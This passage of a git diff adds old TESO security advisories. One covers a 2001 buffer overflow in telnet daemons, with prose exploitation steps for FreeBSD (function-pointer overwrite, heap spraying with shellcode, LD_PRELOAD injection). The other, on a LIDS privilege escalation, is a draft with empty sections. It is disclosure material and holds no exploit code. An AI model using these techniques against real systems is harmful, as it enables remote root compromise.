| 137 | http://teso.scene.at or https://teso.scene.at/ | ||
| 138 | |||
| 139 | |||
| 140 | Disclaimer | ||
| 141 | =================== | ||
| 142 | |||
| 143 | This advisory does not claim to be complete or to be usable for any | ||
| 144 | purpose. Especially information about the vulnerable systems may be | ||
| 145 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 146 | purposes, but for educational purposes only. | ||
| 147 | |||
| 148 | This advisory is free for open distribution in unmodified form. | ||
| 149 | Articles that are based on information from this advisory should include | ||
| 150 | links [1] and [2]. | ||
| 151 | |||
| 152 | |||
| 153 | Exploit | ||
| 154 | =================== | ||
| 155 | |||
| 156 | We've created a working demonstration program to exploit the vulnerability. | ||
| 157 | |||
| 158 | The exploit is available from | ||
| 159 | |||
| 160 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 161 | |||
| 162 | and | ||
| 163 | |||
| 164 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 165 | |||
| 166 | |||
| 167 | - ------ | ||
| 168 | -----BEGIN PGP SIGNATURE----- | ||
| 169 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 170 | Comment: For info see http://www.gnupg.org | ||
| 171 | |||
| 172 | iD8DBQE5MWgLcZZ+BjKdwjcRAqJfAJwM5ksv/2dm7liESPMlYkQevZcfiACfb45I | ||
| 173 | 0Xp/9kMRr1FTMV6r0qh+lao= | ||
| 174 | =6q3d | ||
| 175 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-011.txt b/advisories/teso-advisory-011.txt new file mode 100644 index 0000000..2711bfb --- /dev/null +++ b/advisories/teso-advisory-011.txt | |||
| @@ -0,0 +1,295 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 06/10/2001 | ||
| 6 | |||
| 7 | Multiple vendor Telnet Daemon vulnerability | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | Within most of the current telnet daemons in use today there exist a buffer | ||
| 14 | overflow in the telnet option handling. Under certain circumstances it may | ||
| 15 | be possible to exploit it to gain root priviledges remotely. | ||
| 16 | |||
| 17 | |||
| 18 | Systems Affected | ||
| 19 | =================== | ||
| 20 | |||
| 21 | |||
| 22 | Tests | ||
| 23 | =================== | ||
| 24 | |||
| 25 | System | vulnerable | exploitable * | ||
| 26 | ----------------------------------------+--------------+------------------ | ||
| 27 | FreeBSD 4.2-REL | yes | yes | ||
| 28 | FreeBSD 4.3-BETA | yes | yes | ||
| 29 | FreeBSD 4.3-REL | yes | no (1) | ||
| 30 | FreeBSD 4.3-STABLE | yes | yes | ||
| 31 | IRIX 6.5 | yes | no | ||
| 32 | Linux netkit-telnetd < 0.14 | yes | ? | ||
| 33 | Linux netkit-telnetd >= 0.14 | no | | ||
| 34 | OpenBSD 2.8 | yes | ? | ||
| 35 | OpenBSD 2.9 | yes | ? | ||
| 36 | Solaris 2.8 sparc | yes | ? | ||
| 37 | ----------------------------------------+--------------+------------------ | ||
| 38 | |||
| 39 | * = From our analysis and conclusions, which may not be correct or we may | ||
| 40 | have overseen things. Do not rely on this. | ||
| 41 | (1) = See specific details below. | ||
| 42 | |||
| 43 | Details about the systems can be found below. | ||
| 44 | |||
| 45 | |||
| 46 | Impact | ||
| 47 | =================== | ||
| 48 | |||
| 49 | Through sending a specially formed option string to the remote telnet | ||
| 50 | daemon a remote attacker might be able to overwrite sensitive information | ||
| 51 | on the static memory pages. If done properly this may result in arbitrary | ||
| 52 | code getting executed on the remote machine under the priviledges the | ||
| 53 | telnet daemon runs on, usually root. | ||
| 54 | |||
| 55 | |||
| 56 | Explanation | ||
| 57 | =================== | ||
| 58 | |||
| 59 | Within every BSD derived telnet daemon under UNIX the telnet options are | ||
| 60 | processed by the 'telrcv' function. This function parses the options | ||
| 61 | according to the telnet protocol and its internal state. During this | ||
| 62 | parsing the results which should be send back to the client are stored | ||
| 63 | within the 'netobuf' buffer. This is done without any bounds checking, | ||
| 64 | since it is assumed that the reply data is smaller than the buffer size | ||
| 65 | (which is BUFSIZ bytes, usually). | ||
| 66 | |||
| 67 | However, using a combination of options, especially the 'AYT' Are You There | ||
| 68 | option, it is possible to append data to the buffer, usually nine bytes | ||
| 69 | long. To trigger this response, two bytes in the input buffer are | ||
| 70 | necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the | ||
| 71 | output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the | ||
| 72 | common case that BUFSIZ is defined to be 1024, this results in a buffer | ||
| 73 | overflow by up to 3584 bytes. On systems where BUFSIZ is defined to be | ||
| 74 | 4096, this is an even greater value (14336). | ||
| 75 | |||
| 76 | Due to the limited set of characters an attacker is able to write outside | ||
| 77 | of the buffer it is difficult - if not impossible on some systems - to | ||
| 78 | exploit this buffer overflow. Another hurdle for a possible attacker may be | ||
| 79 | the lack of interesting information to modify after the buffer. | ||
| 80 | |||
| 81 | This buffer overflow should be considered serious nevertheless, since | ||
| 82 | experience has shown that even complicated vulnerabilities can be | ||
| 83 | exploited by skilled attackers, BIND TSIG and SSH deattack come to mind. | ||
| 84 | |||
| 85 | |||
| 86 | Individual system notes | ||
| 87 | ======================= | ||
| 88 | |||
| 89 | These notes include our rating about exploitability on the individual | ||
| 90 | systems. This may be invalid, due to us overlooking things or may be even | ||
| 91 | plain wrong. Also only the most common versions have been analyzed. If you | ||
| 92 | want to write an exploit, start here. | ||
| 93 | |||
| 94 | |||
| 95 | FreeBSD 4.2-REL | ||
| 96 | FreeBSD 4.3-BETA | ||
| 97 | ---------------- | ||
| 98 | |||
| 99 | The binaries of the 4.2-REL and 4.3-BETA telnetd (/usr/libexec/telnetd | ||
| 100 | a0491784c6bd4662adc4eb806138f6f8 and /usr/libexec/telnetd | ||
| 101 | ae32821691419385103f3ca7cef89703 respectivly) contain a function pointer | ||
| 102 | 'encrypt_output' near behind the 'netobuf' buffer, which we can overwrite. | ||
| 103 | This function pointer is used under certain circumstances to encrypt the | ||
| 104 | outgoing telnet traffic, which is called from the 'netflush' function. | ||
| 105 | |||
| 106 | By overwriting this pointer in a special way one can make it point to the | ||
| 107 | upper heap space. By abusing the telnet daemons setenv functionality prior | ||
| 108 | to the overflow one can populate the upper heap space with shellcode and | ||
| 109 | nops, right there, where the function pointer will point to. | ||
| 110 | |||
| 111 | The exploitation works in multiple phases: | ||
| 112 | |||
| 113 | 1. Sending of ~16mb (32000 x 510 byte) bytes of nop space and shellcode | ||
| 114 | 2. Aligning the 'nfrontp' pointer to have this position | ||
| 115 | |||
| 116 | ... | 0x00 . 0x00 0x00 0x00 | ... | ||
| 117 | |||
| 118 | Where '|' is the boundary to the function pointer after the 'netobuf' | ||
| 119 | buffer. The '.' position marks where 'nfrontp' points at | ||
| 120 | 3. Send an 'IAC WILL 0x08' sequence, which will write: | ||
| 121 | |||
| 122 | ... | 0x00 0xff 0xfb 0x08 | . 0x00 ... | ||
| 123 | |||
| 124 | 4. Trigger the function pointer by causing the telnet daemon to call | ||
| 125 | 'netflush' | ||
| 126 | |||
| 127 | Step 1 is a tedious process and can even locally take a few minutes, | ||
| 128 | because the entire environment array is walked every time a setenv is | ||
| 129 | called, to check whether the environment variable already exists. Steps 2 | ||
| 130 | to 4 are within a final overflow buffer, they are only seperated here for | ||
| 131 | clearness. The alignment in step 2 can be a problem since we can usually | ||
| 132 | only advance the 'nfrontp' pointer by three (IAC WILL|WONT|DO|DONT OPT | ||
| 133 | sequence) or nine ("\r\n[Yes]\r\n") bytes. To come around this we need an | ||
| 134 | advancement 'n' for that is true: n mod 3 = 1. XXX/TODO: write | ||
| 135 | |||
| 136 | |||
| 137 | FreeBSD 4.3-REL | ||
| 138 | --------------- | ||
| 139 | |||
| 140 | Is not affected by the function pointer method. But the 'envinit' array is | ||
| 141 | behind the buffer. Normally the 'envinit' array is used to initialize the | ||
| 142 | 'environ' pointer with. The 'envinit' array is in the static memory too and | ||
| 143 | can be overwritten. | ||
| 144 | |||
| 145 | Once setenv is called within the telnetd process, the FreeBSD C library | ||
| 146 | detects that the 'environ' environment pointer points to non allocated | ||
| 147 | space ('alloced' global variable is 0) and creates a copy of the array | ||
| 148 | within the heap space. From there on, all of the telnet daemons setenv | ||
| 149 | requests are inserted within this malloc-stored array and the 'envinit' | ||
| 150 | array, which we can overwrite, becomes useless. | ||
| 151 | |||
| 152 | XXX/Proposed exploitation method: | ||
| 153 | |||
| 154 | Overwrite envinit[0] with a valid pointer to an environment string such as | ||
| 155 | "LD_PRELOAD=/tmp/foo.so". Normally the clients environment set requests are | ||
| 156 | checked for sanity and invalid values such as "LD_*", "_RLD_*" and | ||
| 157 | "SHELLINIT" are avoided. By using this raw overwrite method we may have a | ||
| 158 | chance to inject an environment string directly into the environment array. | ||
| 159 | To make this work a few things have to be considered. First, the pointer | ||
| 160 | must be valid and point to mapped space. By overwritting the pointer and | ||
| 161 | then continuing the normal telnet login we may be able to trick the linker | ||
| 162 | into loading our bogus libraries. This would be a local root exploit or a | ||
| 163 | remote one, if we are able to store files on the remote host. | ||
| 164 | |||
| 165 | |||
| 166 | IRIX 6.5 | ||
| 167 | -------- | ||
| 168 | |||
| 169 | The good thing about IRIX telnet daemon is that it comes with symbols. The | ||
| 170 | bad thing however is that it does not look to be exploitable. The memory | ||
| 171 | layout is quite easy (/usr/etc/telnetd is a N32 binary): | ||
| 172 | |||
| 173 | sizes: (4160) | (4) | (4) | | ||
| 174 | what: netobuf | nfrontp | pfrontp | ... | ||
| 175 | |||
| 176 | They define - as various other telnet daemons do - an extra bogus space to | ||
| 177 | the 'netobuf' buffer, which is 64 bytes (called "NETSLOP" in other daemons | ||
| 178 | sources). 'BUFSIZ' is defined to 1024 by default on IRIX, so at first | ||
| 179 | glance you might think it is a problem to overwrite 4160 bytes, but it is | ||
| 180 | not for that we can send fragmented TCP frames which can be up to 64 | ||
| 181 | kilobytes in size. So we can make a 4096 input buffer read without problems. | ||
| 182 | |||
| 183 | But the real problem is the 'nfrontp'. Normally the decent MIPSPro C | ||
| 184 | Compiler optimizes as much pointers into registers as possible, but the | ||
| 185 | 'nfrontp' is defined static and used across all over the code, therefore | ||
| 186 | its memory bound into its place and always synced with its real value. If | ||
| 187 | we overwrite just parts of it, it reacts very sensitive and crashes at any | ||
| 188 | read/write access to it. Since IRIX uses the big endian mode of the MIPS | ||
| 189 | CPU the 'nfrontp' is stored with the most significant byte first in the | ||
| 190 | memory. It points to 'netobuf' which is defined on the '.bss' segment, | ||
| 191 | which is located at my installation at: 0x7fc49b70 to 0x7fc4f324. The | ||
| 192 | 'nfrontp' content looks like: | ||
| 193 | |||
| 194 | ... (netobuf) ... | 0x7f 0xc4 0xcd 0xa8 | ... | ||
| 195 | |||
| 196 | Since the 'nfrontp' is constantly accessed throughout the code, one has to | ||
| 197 | make it always containing a sane value. Only the mapped areas of the | ||
| 198 | process can be used for this, which are summarized, your addresses may vary: | ||
| 199 | |||
| 200 | 0x7fff0000->0x7fff8000 stack | ||
| 201 | 0x0f9ec000->0x0fbe8000 various mapped files/libraries | ||
| 202 | 0x7fc00114->0x7fc4f400 .text/.*data/.bss and rest | ||
| 203 | |||
| 204 | There may be a way by excessive grow of the heap by using setenv, some more | ||
| 205 | research for this architecture is required to draw a decision. From the | ||
| 206 | current point of view its very difficult, if not impossible to exploit this | ||
| 207 | bug on this binary. | ||
| 208 | |||
| 209 | |||
| 210 | Linux netkit-telnetd version < 0.14 | ||
| 211 | ----------------------------------- | ||
| 212 | |||
| 213 | XXX/TODO: | ||
| 214 | |||
| 215 | |||
| 216 | Linux netkit-telnetd version >= 0.14 | ||
| 217 | ------------------------------------ | ||
| 218 | |||
| 219 | Linux netkit-telnetd from version 0.14 is not directly affected by this bug | ||
| 220 | since they wrap a lot of storing operations which utilize 'nfrontp' in a | ||
| 221 | function 'netoprintf', which does boundary checking. | ||
| 222 | |||
| 223 | However it has to be checked for a one byte overflow, which may be possible | ||
| 224 | at multiple occurances of the code, due to the insecure nature of handling | ||
| 225 | 'nfrontp'. Then, the following code in the function 'netoprintf' may fail | ||
| 226 | to do the boundary checking: | ||
| 227 | |||
| 228 | int len, maxsize; | ||
| 229 | |||
| 230 | maxsize = sizeof(netobuf) - (nfrontp - netobuf); | ||
| 231 | |||
| 232 | va_start(ap, fmt); | ||
| 233 | len = vsnprintf(nfrontp, maxsize, fmt, ap); | ||
| 234 | va_end(ap); | ||
| 235 | |||
| 236 | In case (nfrontp - netobuf) is greater than sizeof(netobuf), the integer | ||
| 237 | 'maxsize' will turn negative and casted to a very large value in the | ||
| 238 | snprintf handling, which makes it behave like sprintf without any boundary | ||
| 239 | checking. | ||
| 240 | |||
| 241 | |||
| 242 | Solution | ||
| 243 | =================== | ||
| 244 | |||
| 245 | The vendors have been notified of the problem at the same time as the | ||
| 246 | general public, vendor patches for your telnet daemon that fix the bug will | ||
| 247 | show up soon. | ||
| 248 | |||
| 249 | Sometimes a fix might not be trivial and require a lot of changes to the | ||
| 250 | source code, due to the insecure nature the 'nfrontp' pointer is handled. | ||
| 251 | The best long term solution is to disable the telnet daemon at all, since | ||
| 252 | there are good and free replacements. | ||
| 253 | |||
| 254 | |||
| 255 | Acknowledgements | ||
| 256 | =================== | ||
| 257 | |||
| 258 | The bug has been discovered by scut. | ||
| 259 | |||
| 260 | The tests and further analysis were done by smiler, zip and scut. | ||
| 261 | |||
| 262 | |||
| 263 | Contact Information | ||
| 264 | =================== | ||
| 265 | |||
| 266 | The TESO crew can be reached by mailing to teso@team-teso.net | ||
| 267 | Our web page is at http://www.team-teso.net/ | ||
| 268 | |||
| 269 | |||
| 270 | References | ||
| 271 | =================== | ||
| 272 | |||
| 273 | [1] TESO | ||
| 274 | http://www.team-teso.net/ | ||
| 275 | |||
| 276 | |||
| 277 | Disclaimer | ||
| 278 | =================== | ||
| 279 | |||
| 280 | This advisory does not claim to be complete or to be usable for any | ||
| 281 | purpose. Especially information on the vulnerable systems may be inaccurate | ||
| 282 | or wrong. Possibly supplied exploit code is not to be used for malicious | ||
| 283 | purposes, but for educational purposes only. | ||
| 284 | |||
| 285 | This advisory is free for open distribution in unmodified form. | ||
| 286 | Articles that are based on information from this advisory should include | ||
| 287 | link [1]. | ||
| 288 | |||
| 289 | |||
| 290 | Exploit | ||
| 291 | =================== | ||
| 292 | |||
| 293 | ------ | ||
| 294 | |||
| 295 | |||
diff --git a/advisories/teso-advisory-012.txt b/advisories/teso-advisory-012.txt new file mode 100644 index 0000000..8056b3b --- /dev/null +++ b/advisories/teso-advisory-012.txt | |||
| @@ -0,0 +1,84 @@ | |||
| 1 | |||
| 2 | |||
| 3 | TESO Security Advisory | ||
| 4 | 01/01/2002 | ||
| 5 | |||
| 6 | LIDS Linux Intrusion Detection System vulnerability | ||
| 7 | |||
| 8 | |||
| 9 | Summary | ||
| 10 | =================== | ||
| 11 | |||
| 12 | The "Linux Intrusion Detection System" security patches create a security | ||
| 13 | vulnerability. Exploitation is easy and local users may be able to gain | ||
| 14 | unrestricted root priviledges. | ||
| 15 | |||
| 16 | |||
| 17 | Systems Affected | ||
| 18 | =================== | ||
| 19 | |||
| 20 | Almost any Linux system that uses the LIDS kernel patches. | ||
| 21 | |||
| 22 | |||
| 23 | Impact | ||
| 24 | =================== | ||
| 25 | |||
| 26 | Through crafting a LD_PRELOAD library that runs without capability | ||
| 27 | restrictions and executing an unrestricted binary an attacker is able | ||
| 28 | to inherit the restrictions of the executed binary. On most systems | ||
| 29 | where the necessary binaries are provided, he can get rid of all his | ||
| 30 | restrictions. | ||
| 31 | |||
| 32 | |||
| 33 | Explanation | ||
| 34 | =================== | ||
| 35 | |||
| 36 | |||
| 37 | |||
| 38 | Solution | ||
| 39 | =================== | ||
| 40 | |||
| 41 | The vendors have been notified of the problem at the same time as the | ||
| 42 | general public, vendor patches that fix the bug should be available soon. | ||
| 43 | |||
| 44 | |||
| 45 | |||
| 46 | Acknowledgements | ||
| 47 | =================== | ||
| 48 | |||
| 49 | The bug has been discovered by stealth. | ||
| 50 | |||
| 51 | The tests and further analysis were done by stealth. | ||
| 52 | |||
| 53 | |||
| 54 | Contact Information | ||
| 55 | =================== | ||
| 56 | |||
| 57 | The TESO crew can be reached by mailing to teso@team-teso.net | ||
| 58 | Our web page is at http://www.team-teso.net/ | ||
| 59 | |||
| 60 | |||
| 61 | References | ||
| 62 | =================== | ||
| 63 | |||
| 64 | [1] TESO | ||
| 65 | http://www.team-teso.net/ | ||
| 66 | |||
| 67 | |||
| 68 | Disclaimer | ||
| 69 | =================== | ||
| 70 | |||
| 71 | This advisory does not claim to be complete or to be usable for any | ||
| 72 | purpose. Especially information on the vulnerable systems may be inaccurate | ||
| 73 | or wrong. Possibly supplied exploit code is not to be used for malicious | ||
| 74 | purposes, but for educational purposes only. | ||
| 75 | |||
| 76 | This advisory is free for open distribution in unmodified form. | ||
| 77 | Articles that are based on information from this advisory should include | ||
| 78 | link [1]. | ||
| 79 | |||
| 80 | |||
| 81 | Exploit | ||
| 82 | =================== | ||
| 83 | |||
| 84 | |||
